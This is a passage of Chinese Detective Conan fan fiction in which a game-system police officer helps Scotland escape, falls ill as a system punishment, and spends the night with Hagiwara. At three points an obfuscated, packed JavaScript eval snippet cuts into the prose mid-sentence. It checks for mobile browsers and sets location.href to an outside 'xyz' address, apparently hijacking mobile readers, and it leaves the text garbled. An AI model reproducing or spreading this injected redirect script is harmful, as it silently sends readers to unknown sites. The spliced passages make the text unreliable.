那副眼镜是他在擅长伪装的好友的建议下亲手挑选的,能最大限度中和那个天生面容淡漠的青年眉眼间的距离感。 他眉头微拧,隐秘地活动一下手腕。 最棘手的局面出现了。比起虚假的恋人,年轻的警界之星当然更在意摆在眼前的事实和正义与否。 ……那就只能说声抱歉了。时间紧迫,事后再想个理由搪塞过去,在这里被逮捕可不在他计划之内。 一副眼镜突然被怼到眼前,诸伏景光本该躲开,却被这半个月来养成的一之羽巡是我的恋人我们接触是正常的思维控制,只稍微低了下头。 对方给他戴上眼镜,顺势摸向他的头顶,三两下把他的头发揉乱,似乎并非毫无章法,做完这一切,又拍了一下他的背。 “弯点儿腰,看起来不要比我高。” 诸伏景光诧异:“你……” “不用说了。” 一之羽巡打断,率先转身,提起躺在地上还昏迷着的嫌疑人,语气平静:“跟在我身后装哑巴,我带你出去,这里没人会拦我。” …… “苏格兰出来了。” “接应苏格兰的人是谁?他怎么混进去的?” 高楼上,两个组织成员从瞄准镜中冷眼小巷中的画面。 “组织里没这号人吧,不过总觉得有点眼熟,好像在哪儿见过。” 过了一会儿,他恍然大悟:“报纸上看过,是个警察。” “——警察?!” “喂喂,等一下,还不清楚状况,你就这么动手了,回头跟苏格兰那边可说不清……” 短发女人嗤了一声,不顾搭档的劝阻瞄准那个生面孔的脑袋,正要扣动扳机,瞄准镜中的画面却猝不及防变成了一双淬着寒冰的蓝眸。 她手指一僵,明明只差一厘,用了无数次的狙击枪,此刻却怎么都按不下去。 她比任何人都清楚这种距离下根本不可能真的对上视线,可还是无端生出了自己被盯上了的错觉,比起震慑更先升起的是对自己停顿那瞬的恼怒,嘲讽:“跟警察混在一起,让琴酒知道了有他好看的。” “我劝你最好别做多余的事,苏格兰最近对那个警察还挺上心的。” 本次任务的第四位成员单手插兜淡定路过,另一手快速打着字,语气漫不经心:“虽说苏格兰平常不怎么跟别人起冲突,可是要是有人觉得他没脾气,逞一时之快把他惹毛了,最后一不小心收不了场,那可就很难看了。” 波本笑吟吟道:“你说对吧,基安蒂?” 那家伙说着劝阻的话,可语气怎么听都像是巴不得把事闹大了,怎么听怎么欠揍,只盼着多一事不如少一事的科恩说:“波本,你也少说两句吧。” 波本无视科恩的话,又添了把火:“要不要找我买份情报?那个警察可不是一般的警察,看在认识的份上,可以只收你一万美元。” 波本脸上的完美笑容耀眼到刺目,至少真的刺到了一点就炸的基安蒂,基安蒂的枪口偏转,皮笑肉不笑道:“换成一颗子弹够不够?” “……看在是同事的份上,给你打个折,一万日元。” “再磨磨唧唧不说,打折的就是你的脖子了!” 波本表情一言难尽,转头问科恩:“她一直都这样?你怎么忍得了跟这种个性的人搭档那么久的?” “你能不能少说几句!”见基安蒂真要炸了,科恩紧急避险:“苏格兰跟那个警察到底是怎么回事?” 波本耸耸肩,不再卖关子,声情并茂地讲了一段爱情故事。 “苏格兰之前因为一个任务伪装成酒吧的乐手,被那个小警察碰上了,随口编了一套凄凄惨惨的身世,八成是正义感爆棚再加上一些微妙的救风尘心理,那个小警察对苏格兰很关照,又接触了一段时间,一来二去的他们就搞在一起了。” “至于那个小警察,说是那么说,不过他可不是个普通的警察那么简单……” 波本眯了眯眼,“那家伙可是号称什么警界明日之星,虽然资历尚浅,但已经被列入下一任警视总监的备选名单,要是组织暗中推一把,能爬上更高的位子也说不定,苏格兰觉得这人以后可能用得上,干脆就陪着玩玩。” 基安蒂想起在瞄准镜里看到的画面,狙击手对事物最基础的外形总是很敏锐,轮廓、五官、身形,她舔了下嘴唇:“这种质量,玩一段时间倒也不亏。” 任务正式结束,八卦时间也告终,基安蒂收起狙击枪,招呼搭档:“走了,科恩。” 迟迟没听到回应,她不耐烦地“啧”了一声,“喂,你在发什么呆——” 直到发觉搭档一脸沉重,她话音一顿,皱眉问:“怎么了?有什么问题吗?” 波本握着手机的手指略微收紧:“哦?科恩,你还有什么见解吗?” 过了好一会儿,科恩才慢吞吞开口:“苏格兰私底下一直是男女不忌的吗?以后做任务我要离他远点儿……” “………………” 波本:“我觉得你并没有这个顾虑。” 基安蒂:“傻叉,你想什么美事呢?” …… 小巷中,诸伏景光摘下眼镜,欲言又止,目光触及对方格外冷淡的神色,还是主动开了口:“这样没关系吗?要是别人问起我的身份的话……” 那人口吻淡然:“我会善后,不会有人查到你头上。” “……我不是那个意思。” “搜查一课被我提前支走了,至于那些宾客,本质上都是商人,没人会在意你是谁。” 一之羽巡靠在墙上,双手抱肘,礼服已经脏了,但依旧看起来跟这个狭小的巷子看起来格格不入。 他口吻理所当然:“在这个彻头彻尾的名利场里,我是最值得被投资的角色,你跟在我身边,没人会浪费时间来深究你是谁来自哪个部门又有什么履历,把时间和精力花在我身上才能做到利益最大化。” 摘下用于伪装的眼镜,戴上客套虚伪的假面,罕见地在名利场里气场全开将野心堂而皇之裸露出来的警界明日之星,无论是哪个同行在他身边都会黯然失色,瞬间沦为陪衬。 那一瞬的傲慢和睥睨发那个仿若错觉,诸伏景光眨了下眼,一之羽巡的神情分明与过去一无二致。 “总之,快走吧。” 诸伏景光点头,又觉得缺了点什么,憋了半晌,他问:“你没有其他想问我的了吗?” 那位警界明日之星抬手松了松两颗扣子,动作有些粗暴,他大约并不喜欢穿这种过分修身的礼服,即使他穿起来相得益彰。 “既然你开口了,那我就不客气了。” 一之羽巡侧头,伸出手:“抱一下?” “面都见了,不练习一下说不过去。” 诸伏景光做好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408497|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方会刨根问底的准备,也想好了如何回答,这种反应反而让他有些不知所措。 某种意义上来说,这很好,至少代表着对方仍旧记得他们之间的恋爱任务,没有脱离人设。 他们同上一次分别时一样相拥,将那个身影按在怀中的那一刻,鬼使神差,诸伏景光想起了在黑暗中为了钳制住一之羽巡的才发生的那个拥抱。 他的肋骨忽然开始隐隐作痛。 没直接开打,但以他这几年在组织里攒出的经验,一之羽巡的战斗力不可小觑。 “今晚谢……” 他的道谢被对方堵了回去,语气有些冷淡:“……别因为这种事谢我。” 两人一齐沉默下来。 “再见?” “嗯。” 苏格兰离开了。 孑然一身,没加好感度。 一之羽巡把领带扯下来塞进口袋,在心中分析,这很正常。 一个会徇私的公安警察,折损了原有的正义感,以苏格兰点严格,不会是因为自己是既得利者就生出感激的类型,没有对此感到失望给他扣几分已经很不错了。 但他总不能真把苏格兰抓了。 那个背影已经彻底隐入黑暗,一之羽巡松了口气,身体内部骤然迸发无力席卷全身,分秒之间便剥夺了对四肢的控制权。 一之羽巡扶着墙,逐渐下滑,脱力半跪在地上。 眼前已经看不清晰,视网膜被接连不断跳出的半透明红框占领。 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 …… 【惩罚已发放:[高烧],佩戴时长:00:00/24:00】 一之羽巡骂了一声。 ……失策了。 苏格兰执行的竟然不是卧底搜查官的任务吗?! 他咬了咬舌尖保持清醒,尝到了血腥味,可惜收效甚微,只得靠在墙角,费力地在身上摸索手机。 虽然很不情愿,但他今晚得欠出去个人情了。 一阵毫不加掩饰的脚步声迫近,一之羽巡皱眉,电话还未拨通,一双鞋子出现在视野中,正困惑时,手中的手机猝不及防被一脚踢远,砸在墙角。 “你……!” 意识在升腾的体温中被燃烧殆尽,但他仍旧本能地开始判断:黑色,高帮,款式跟他在当年在警校进行越野训练时常穿的作战靴很像,鞋底没有泥,结合附近路况,应该是开车或坐车来的。 ……是谁? 一之羽巡勉强抬起头,看到了散落在半空中的仿佛闪着光的银色发丝。 他分不清那是因为模糊的视线产生的重影还是银色发丝在皎洁的月光下的反射。 那人一袭黑色风衣,单手抽着烟,静静地凝视他,看的仿佛不是个人,而是拍卖会上等待评估竞价的商品,他已经极力去看那张脸,然而在还未适应惩罚的这几分钟里根本无法看清五官,更何况是表情,只有清晰的下颌线隐约透露出主人的锋芒毕露。 冰冷的目光不断在身上游走,不知过了多久,头顶传来一声嗤笑,语气嘲弄:“你就是一之羽巡?啧……” 彻底陷入黑暗前,一之羽巡看到了覆盖住高烧惩罚倒计时的好感度变化提醒。 【**(***):-37】 【**(***):-87/100】 烟雾缭绕,烟灰飘落,随着被乌云笼罩的月光归于沉寂。 “不过如此。” 11.011 “嘶……” 仿佛从脑髓发出的刺痛和晕眩随着意识逐步恢复一并达到巅峰,眼皮仿佛被胶水粘住了,尝试了几次都无法睁眼,身旁隐约能听到嘈杂的人声,也可能只是耳鸣,一之羽巡本能抬手想按一按突突跳动的太阳穴,还未抬到一半,手腕被强行按了下去。 他皱了下眉,这一次终于听清了,有人说了一句:“不要乱动啊……” ……这个声音,好像在哪儿听过。 又过了几分钟,也可能只有几秒钟,在黑暗中时间的流速总是不甚清晰,尖锐的头痛略微褪去,思维跟着回笼,睁眼前的瞬间,一之羽巡恍然大悟。 “……是萩原吗?” 病床旁按住某个病号还在挂水的手的萩原研二松了口气:“你终于醒了!” 一之羽巡本能地开始捕捉周围的一切信息:纯白的墙壁,蓝白条纹的病号服,刺鼻的消毒水味,但视野中的一切很快便被一双紫色的充斥着担忧的眼睛占满。 “我在医院?”一之羽巡刚想坐起身,被一把按了回去,萩原研二甚至一本正经地为他掖了掖被角。 一之羽巡被这种如临大敌的模样震撼到了:“太夸张了,萩原,我没事的。” “没事……?!” 萩原研二音量无意识拔高:“你是指高烧晕厥倒在路边直到被人发现才送到医院里抢救的那种没事吗?——那还真是好得很呢!” 一之羽巡心虚地放弃了再次坐起来的念头,他没办法跟NPC解释他明天就会完全康复并且没有任何后遗症这种概念。 昨晚苏格兰离开后,他被系统的惩罚打了个措手不及。 【这个世界上对好人的判定标准往往更加苛刻,坏人做了一件好事或许会暂且迎来鲜花掌声,但好人只要犯一次错,就有可能失去曾经享有的一切赞誉美名——红方行为规范第一条:禁止以任何形式协助黑方】 所以苏格兰昨晚执行其实并不是他猜测的公安的任务,反而大概率是他执行潜伏任务的犯罪团伙的任务。 一抹突兀的银色在脑海中一闪而过。 昨晚出现的意料之外的人可不止苏格兰一个。 一之羽巡喃喃:“不过如此……” 面色刚缓和的萩原研二:? “你说什么?”萩原研二唰的一下站起来:“不过如此?” 一之羽巡被萩原研二的反应吓了一跳,堪堪从记忆中回过神,连忙解释:“等等,我不是那个意思……” 萩原研二鲜少冷脸,更何况对方还是一之羽巡,他的个头有一米九几,刚要开口,又觉得这样居高临下地看一个如此骄傲的人怕不是会起反效果,干脆单膝跪在病床旁,跟某个毫无自觉性可言的病号平视。 “一之羽,偶尔也休息一下吧。” 一之羽巡有些惭愧:“抱歉,让你担心了。” 萩原研二不知道发生了什么,只看到了他高烧晕厥的结果,是出于关心才会出现在医院,那无论怎么解释什么都是辜负那份对朋友的真心。 不过一向圆滑的萩原研二竟然也会作出这种反应,哑口无言的同时一之羽巡又感到些许新奇,趁着萩原研二检查吊瓶的间隙,光明正大地盯着那张脸看了一会儿。 萩原研二感觉耳廓有些发热,那束目光直白清亮,反倒显得是他不够自然,所幸头发足够长,无论耳朵红没红都能挡个八九分。他掩饰性地拉过病床旁的椅子坐下,没好气道:“笑什么?” “就是突然想到,你和松田不愧是一起长大的。” 萩原研二疑惑:“……嗯?” 一之羽巡笑而不语,没再说下去。 萩原研二和松田阵平个性迥异,但他觉得那两人的底色完全一致,不经意间就会在一个人身上看到另一个人的影子,那是因为他们常年形影不离互相影响的结果还是从一开始就灵魂契合才逐渐不分彼此已经无从考证。 萩原研二和松田阵平的关系好到人尽皆知,但他知道,那两位排爆警察的设定不止是常规一起长大的幼驯染那么简单。 好感度系统触发后,除了小数点哥这个特例以外,他从来没有刻意刷过任何人的好感度,不过即使没准备刷他也清楚,萩原研二和松田阵平是无法彻底攻略的角色,再高的好感度也抵不过他们之间仿佛半身般的绝对信任。 说到底,松田阵平对他的好感度不算低,但里面起码有60分源自于他当年间接救了萩原研二一命。 这两个人各有所长,抛开个性来说都十分好用,放在一起时还会触发意外效果,与其说拿下了其中一个就算两个都搞定了,不如说是只有一次性把两个人都搞定才不至于亏得血本无归。 一之羽巡转移话题:“是过路人帮我叫了救护车吗?那里可不太好找……你是怎么知道我住院了的?” “差不多吧。”萩原研二含糊其辞:“先别管那个了,警官,让你的脑子好好休息一下吧,你再不休息你的脑子要申请劳动仲裁了。” 一之羽巡配合地闭上眼,还是在思索。 昨晚那个银色长发的男人是谁?对他的好感度能到+80的都不多,一出场就-87,不敢想到底是有什么深仇大恨才能这么讨厌他。 难道是有什么隐藏设定?比如电影里演的那样,警察抓了犯人,犯人的亲人爱人之类的对警察怀恨在心? 听着很离谱,但如果是这个游戏的狗策划,很遗憾,竟然不是完全没有可能。 一之羽巡安静躺着,萩原研二轻手轻脚地出去了,没过一会儿带着医生回来,测了体温、问了几个问题后,萩原研二像家属一样忧心忡忡地跟着医生出去,隐约能听到没关严的门缝传来的交谈声。 一之羽巡坐起身,拿起床头柜上的手机。 他当时本来也是准备打给萩原研二的,不过还没打通手机就被踢出去了,没来得及解释状况,没过几秒他就彻底失去意识,那通电话八成是被当成打错了。 看刚刚萩原研二和医生交谈时熟稔的模样,应该早就认识,没崩人设,萩原研二的人脉资源果然无法估量。不过既然认识,估计就是医生把这件事告诉了萩原研二,萩原研二才会来医院看他。 一之羽巡熟练输入密码解锁,动作一顿。 【未接来电】 【萩原研二(39)】 “……?” 一之羽巡大为震撼。连对他这个普通朋友都这么上心,那在松田阵平那边得是什么样,怪不得萩原研二能有这么夸张的好人缘。 萩原研二回到病房才发现一之羽巡已经坐起来了,他有些无奈,有种果然如此的感觉,稍微不盯着就开始胡来,但那人这样也不是一天两天了。 “医生说你恢复得很不错,再观察一下,没什么事的话今晚就可以回家了。” 一之羽巡确实想出院了,省去了偷溜出去的麻烦,松了口气:“那太好了。” 萩原研二看出那人的心思,叹息着坐下。昨晚本来已经没有病床了,幸好他和那位医生认识,这才勉强多安排出来一个床位,以这人的性子,确实没什么问题了的话,能早点回去也好。 他问:“吃水果吗?” 一之羽巡:“可以啊,我给你削个苹果?” 萩原研二:“……你要不要有一点身为病号的自觉性。” “哦,对。”一之羽巡面不改色改口:“那我削个苹果,我们一人一半?” “随你吧。”萩原研二败下阵来,彻底放弃让一之羽巡认识到自己现在是个病号。 一之羽巡的手很稳,萩原研二很早之前就知道这件事,适合瞄准,适合拆弹,他知道一之羽巡还会拉小提琴,这样灵巧的一双手,削个苹果自然也不在话下。 病房内静悄悄的,两人都专注地盯着逐渐裸露出果肉的苹果,随着红色的果皮圈圈褪去,萩原研二看着那双手,视线飘忽起来。 当初一之羽巡被爆/炸/物处理班的培训拒之门外,他私下偷偷教了一之羽巡拆弹,那是他们关系拉近的契机,也是边界感最被模糊的阶段,指导和演示时总要凑近一些才看得更清,于是自那以后,肢体互动增加,日常相处中的勾肩搭背开始变得习以为常。 萩原研二分神想,他出去跟医生说话时一之羽巡一定没好好按住止血棉,打针时留下的针孔周围已经泛青,按照经验第二天就会变得青紫,而那人本就偏白,看起来只会更加触目惊心。 ……那种触目惊心,让他没由来的想起了昨夜那通没有声音的电话。 电话打过来但是没声音,松田阵平觉得那可能只是一之羽巡的恶作剧或者手机在口袋里不小心按出去了没察觉,但他总有种不详的预感,连续回拨也没能打通,最后辗转从搜查一课那边得到消息,说是一之羽巡当晚帮搜查一课抓到了嫌疑人,之后就悄悄离开了,那会儿看着没有任何异常,班长还给他讲述了一之羽巡当时反应有多果决迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426949|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速真是名不虚传,可他心里还是隐隐不安。 最终他要来了搜查一课当晚出警的地址,凌晨时分,在一段僻静的小巷里发现了高烧到休克的一之羽巡。 那条小路的确可以通往一之羽巡住的公寓,但那种地方没有监控也基本没人会经过,他不敢想象要是一直没人发现会演变成什么后果。 还好那人没事,连医生都忍不住跟他感叹了好几遍,不愧是常年保持锻炼的身体,竟然能恢复得这么快。 萩原研二不想再去回忆那段忐忑焦灼的记忆,随手拿过果篮里的苹果,在手中无意义地来回翻看:“那个……一之羽,你住院了,你的恋人不来看你吗?” 没想到话题会突然跑到那上面,一之羽巡手一顿,削下来的完整的果皮猝然断开。他淡定地把掉下来的果皮丢进垃圾桶,“来做什么?又不是什么大——” 他的声音在触及萩原研二逐渐凝结起来的目光中变低,识时务地改口:“我不是晚上就出院了吗,不折腾了。” “看来你喜欢的人跟你一样,也是个大忙人。” 一之羽巡没说是也没说不是,转移话题:“以后有机会介绍你们认识。” 萩原研二还没回答,一之羽巡就在心里接了一句:没机会了,不可能给这个机会。 现在基本可以确定苏格兰目前明面上的身份是个犯罪分子,他们两个私下见面的时候苏格兰都带着拘谨,要经过一定引导才能进入恋爱状态,要是再多带个警察在旁边,不敢想象苏格兰届时会怎么如坐针毡。 况且还有半个月他们就要分手了。 萩原研二接过削好皮的苹果,答应下来:“好啊,我也很想见见你喜欢的人。” 一之羽巡调侃:“我想见就算了,你怎么也想见啊。” “……”萩原研二咬了一口苹果,垂眸缓缓咀嚼着果肉,半晌,他抬起头,笑容看起来与平常一无二致:“谁让我们是好朋友呢?” 好朋友。 他们只是朋友而已。 他还是没懂,一之羽巡怎么会突然就交到了女朋友。 他以为他和一之羽巡已经是关系很亲近的朋友,除了那位兄长以外没见一之羽巡身边还有比他更要好的人,怎么会悄无声息就冒出来了一个恋人? 他几乎要怀疑那个迄今为止只存在于一之羽巡嘴里的没人见过的恋人是警察厅安排给一之羽巡的工作了,至少前两年一之羽巡真的说过“我的恋人是工作”那种话,不至于让他现在一点头绪都没有。 “……萩原?萩原?” 萩原研二骤然回过神:“嗯?” “我刚刚的话你有听到吗?我说,你今晚要不要来我家?” 萩原研二习惯性点头答应,下一秒,他猛地站起来:“……啊??” 一之羽巡顺手把不知道哪来的那个果篮塞到萩原研二手里:“还没要走呢,你再坐一会儿,我换个衣服。” 一之羽巡转身拉上窗帘,开始脱病号服,萩原研二下意识背过身。 “我刚刚走神了,怎么突然说到去你家了?” “你不是跟松田住在一起吗?”一之羽巡边换衣服边分析:“都这么晚了,你回去会把松田吵醒吧,而且虽说我们住的地方隔得不远,但你直接留下也能稍微多睡一会儿。” 一之羽巡系好扣子,理了理领口,问:“怎么样?有道理吧?” 萩原研二抱着自己买的果篮,慢吞吞回答:“好像是有点儿道理……” “OK,那就这么定了,你今晚在我家住,明天我们一起去上班。” 萩原研二:“……” 一之羽巡:“明早还可以顺便喊松田一起上班。” 萩原研二:“…………” 一之羽巡:“嗯,还有什么问题吗?” 萩原研二:“没有。” 一之羽巡感慨:“我们明明住得那么近,但是竟然从没来没一起上过班,真奇怪啊。” 是啊,真奇怪呢。 怎么会这么奇怪? 萩原研二咬牙腹诽:还不是因为有人前两年压根就不下班,根本不下班还怎么一起上下班?! 所有旖旎暧昧的想法随着【上班】这个字眼的出现瞬间烟消云散,萩原研二深吸一口气,忍了又忍,还是无法理解,上班上班上班,这人的脑子里真的只有上班是吗? 一之羽巡嘴里的那个恋人真的不是在指工作吗?! 12.012 这不是萩原研二第一次来一之羽巡的公寓,不过这是他第一次留宿。 一之羽巡的体温还没完全降下去,不过据医生所说已经没什么大碍,只要今晚不升温那就没事,一连感叹了好几次年轻人身体素质就是好恢复得真快。 萩原研二把果篮里的水果一一摆进冰箱,余光中看到一之羽巡活蹦乱跳的模样,想起前一晚的不省人事,割裂感太重,完全判若两人。 他有些走神,手里的苹果滑落,正要俯身去捞,一只手从一旁伸出来,不偏不倚地接住了那个苹果。 一之羽巡笑着说:“小心。” “……手滑了。” 一之羽巡顺手把苹果塞进冰箱,“只有一张床,不过我睡觉应该不会乱动……对了,你平常裸睡还是穿睡衣?” 萩原研二轻微宕机一秒钟。 一之羽巡目测了一下,萩原研二比他高点,但身形不是很壮的类型,睡衣本身就比较宽松,直接穿他的没问题。 “穿睡衣的话你自己去我衣柜里拿就好。”手机突然响了一声,一之羽巡拿出手机看了一眼,抬脚就往书房去,“你先洗澡吧,我一会儿再洗,换下来的衣服扔直接洗衣机里,明早要是没干就穿我的……总之你随意,忍足警官找我,我去帮他看下案子。” 萩原研二欲言又止,看着那个身影急匆匆往书房的方向去,叹了口气,最终还是没真的出声阻拦。 什么能阻止一之羽巡加班? 估计只有另一份更重要的工作。 “倒是稍微有点儿身为病号的自觉啊……” 萩原研二打开衣柜,提高音量:“我穿那套黑色的睡衣了?” 书房里传来一声回应:“随你喜欢。” 关上衣柜门的瞬间,他动作忽然顿了顿,看向衣柜最里侧。 除了警服以外只存在黑白灰三种颜色的衣柜里,突兀出现了一抹蓝色。 那是一件蓝色的外套。 一之羽巡的穿搭常年高度统一,有段时间他热衷于用排列组合的方式跟松田阵平打赌一之羽巡今天会穿什么,十次里有九次能猜中,毕竟那人物欲极低,不是在上班就是在上班的路上,上一次买衣服都能追溯到去年,还是因为警察厅的某个案子需要他乔装打扮混入商业宴会,为了更好的完成任务,他才特意购置了那么一套价格不菲的礼服。 热衷于花衬衫的萩原警官如是想:一之羽就是该多穿点不同颜色才对…… 虽然穿什么都不影响那人远远看着就赏心悦目就是了。 他走进浴室,把换下来的衣服塞进洗衣机的时候不小心碰掉了洗手台上的东西,捡起来后才发现那是本时尚杂志,看封面应该是超市里附赠的。 其中几页被反复翻看过很多次,拿在手里就会自然而然翻到那部分,内容无一例外都是关于发型。 萩原研二沉默几秒,把杂志放回原处,没追求一定要摆放得跟最开始一模一样,毕竟无论怎样都会被公寓的主人看出端倪。 他打开淋浴,冷水顺着发丝从裸露的肩膀一路滑下,捧了把水,在脸上揉尽。 其实已经不需要更冷静了,他的脑子已经清醒到不能再清醒了。 恋爱后开始注重外表是很正常的事,为了恋人开始打扮自己这不算特别。 放在别人身上确实是这样。 但那个人是一之羽巡。 一之羽巡不会接受任何自己不需要的东西,小到路上的传单,大到高层递来的橄榄枝,甚至于是生活中遇到的人。 正如只有他认为自己需要这本杂志时这本杂志才会被允许进入他的生活,那么那个始终没有透露风声的恋人呢,也是一之羽巡认为的自己的必选项吗?又究竟是有多喜欢才会让一之羽巡开始为了对方改变自己? …… 一之羽巡从书房里出来的时候,他的客人正在沙发上安静坐着,头上搭着条毛巾,看不清神色,但能看到发丝还在滴水,落在地板上发出轻微的啪嗒声。 他歉意道:“忘了告诉你吹风机在哪儿了。” 他去柜子里拿了吹风机回来才慢半拍地意识到,萩原研二刚刚没回答。他没多想,只觉得萩原研二是太困了,就近把吹风机电源插上,摘掉萩原研二头上的湿毛巾,十分自然帮忙吹起头发。 和想象中一样,发丝柔软,穿过指缝时透着着点儿乖巧。 萩原研二的头发算是中长,那给了他灵感,特意把刘海留长,略微遮住眉眼但不至于遮挡视线,用于抵消外貌上与生俱来的那份不近人情。 苏格兰在第二次约会中的精致让他深刻认识到了自己的不专业,他最近研究了不少发型,还没来得及在下一次约会里惊喜亮相,反倒是先给苏格兰做了个发型来伪装身份。 “搞定!” 一之羽巡拍了拍萩原研二的肩膀:“困了就先去睡吧。” 萩原研二站起身,他们之间存在点儿身高差,垂眸望着他,神色晦暗,一之羽巡以为萩原研二是想说些什么,或许还是一件严肃的事,但萩原研二最终只是安静转身地走进了卧室。 ……困过头了吧。 洗完澡回来,一之羽巡推开卧室的门,萩原研二背对着门口躺在床的里侧,他关掉最后一盏灯,轻手轻脚地躺下。 过了一会儿,身后传来一道平静的声音:“一之羽,你的恋人是个什么样的人?” 一之羽巡知道萩原研二还没睡,但他现在已经想睡了,高烧debuff会随着惩罚时间效果逐渐减弱但并非完全解除,他闭着眼睛说:“你好像对这个很感兴趣。” 一向擅长与人谈笑风生的萩原研二这次没说什么,只是淡淡“嗯”了一声。一之羽巡欣赏萩原研二的八面玲珑,但不代表他只欣赏八面玲珑状态下的萩原研二,无论是谁都会有想歇歇的时候。 苏格兰是个什么样的人? 一之羽巡的脑海中浮现出一张异常淡然的脸,神情中的冷静甚至隐隐压过了那张脸本身的温润,变得让人无法亲近。 思索片刻,他说:“是一个对自己很苛刻的人。” 萩原研二回答得很快:“和你一样?” “我有吗?” “你说呢?” 一之羽巡哑然失笑:“我还不够格呢,但那种置身之外的决绝和公正是我很欣赏的品质。” “听你描述,难道也是警务系统里的人吗?” 一之羽巡笑着略过话题:“萩原,明天还要早起,晚安。” 过了很久,卧室内才传来一声浅到几乎听不见的回应:“……晚安。” …… 一之羽巡明明记得自己昨晚和萩原研二是背对背睡的,结果一觉醒来莫名其妙抱在了一起。他看着近在咫尺的帅脸,试图在不吵醒萩原研二的前提下下床,刚一动又被一把捞了回去。 一之羽巡:“……” 长手长脚就是好,策划为什么不做个捏脸系统,就算实在不让改身高体重,帮他省去留刘海和戴眼镜的麻烦也好。 一之羽巡最终还是成功逃脱了萩原研二的胸肌,不知道是不是认床没睡好,萩原研二睡得很沉,竟然没被他的动静吵醒。 四舍五入也算大病初愈,一之羽巡难得没去晨跑,洗漱过后干脆准备起早餐。 他煎着蛋,心想:萩原和松田关系可真好……他们两个平常也睡一张床? 今天的早餐是三明治,这种三明治的做法是苏格兰传授给他的,他准备下次见面的时候做一份带过去让苏格兰检查一下学习成果,也算是增进感情了,不知道能不能加上0.5分。 等把最后一份早餐做好,萩原研二还没醒,算算时间在家里吃是来不及了,一之羽巡把迷迷糊糊的萩原研二从床上薅起来拖到卫生间洗漱换衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432365|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等萩原研二出来时,他已经把早餐打包好,整装待发。 他们住的地方离警察厅和警视厅很近,走着不到十分钟就能过去,但这个时间按照原计划去找松田阵平肯定是来不及了,一之羽巡干脆把其中两份早餐装在了一起。 萩原研二拎着两人份的早餐——其中一份是给松田阵平的,还是难以置信怎么会有人这么早就去上班。 昨晚他一直睡不着,直到凌晨半睡半醒中捞到个抱枕才勉强睡着,他又打了个哈欠,看向身旁神清气爽的一之羽巡,陷入沉思。 要是他不说谁敢相信这人昨天还在医院里躺着。 他忍不住问:“一之羽,你究竟为什么那么喜欢上班?” “充实的工作让我感觉生命在增加。” 萩原研二:? “当然是开玩笑的。”一之羽巡摆手笑道:“只是觉得既然都成为警察了,那在发现下一个想做的事之前,就尽量把做警察这件事做好吧。” “你管这个叫尽量……” 没去晨跑,总觉得缺了点什么,一之羽巡活动着肩膀,喃喃自语:“……但是最近很多时间都拿来谈恋爱了,真不称职……” 萩原研二在余光中看着一之羽巡,抿了下唇,收回视线。 干脆顺着这个话题说下去好了,引导一之羽巡觉得还是单身更好,这个人高效到只要一认为某件事是正确的那就会立刻执行,但是带病也要坚持调查抓到嫌疑人和仿佛镌刻在眼底的青黑色让他无法心安理得地对一之羽巡说出那种话。 萩原研二意识到,在某个瞬间,自己竟然对一之羽巡那个素未谋面的恋人生出了几分谢意。 “一之羽,有机会我也想认识一下你的……你的恋人。”萩原研二说:“说不定我们会相处得很愉快。” 一之羽巡声音里的笑意分外清晰:“这世界上哪有你搞不定的人啊?” “……有的。” 站在路口等红绿灯,一之羽巡闻言来了点儿兴趣:“哦?那我倒是想认识一下了,见识见识连我们萩原警官都搞不定的人到底有多特立独行。” “他不是特立独行!”萩原研二立刻说道。 那种接近反驳的语气让一之羽巡愣了一下,话音微顿的间隙被萩原研二抢占先机,继续说了下去。 “他只是太清楚自己想要什么了。” 萩原研二神情专注,眉头却微微蹙着,仿佛心事重重:“很少有人能做到像他那样心无旁骛,一之羽,我……我很欣赏那个人。” “道理我都懂。”一之羽巡捏着萩原研二的下巴把那张脸转向别处:“但是你能不能先别看我了。” 虽然早就知道萩原研二那双眼睛自带深情buff看狗都深情,但还是第一次如此直观地感受到这种威力。 一之羽巡收手,摸了摸下巴,接上话题:“原来是这样,说着难搞,但其实你还挺喜欢那个人的。” 等了好一会儿都没等到下言,一之羽巡转头,吓了一跳。 “你脸怎么那么红?” “绿灯了,可以走了。”萩原研二低头加快脚步,直接超过一之羽巡:“没有,你看错了。” “我戴的是平光镜又不是真近视了,你怎么了?” 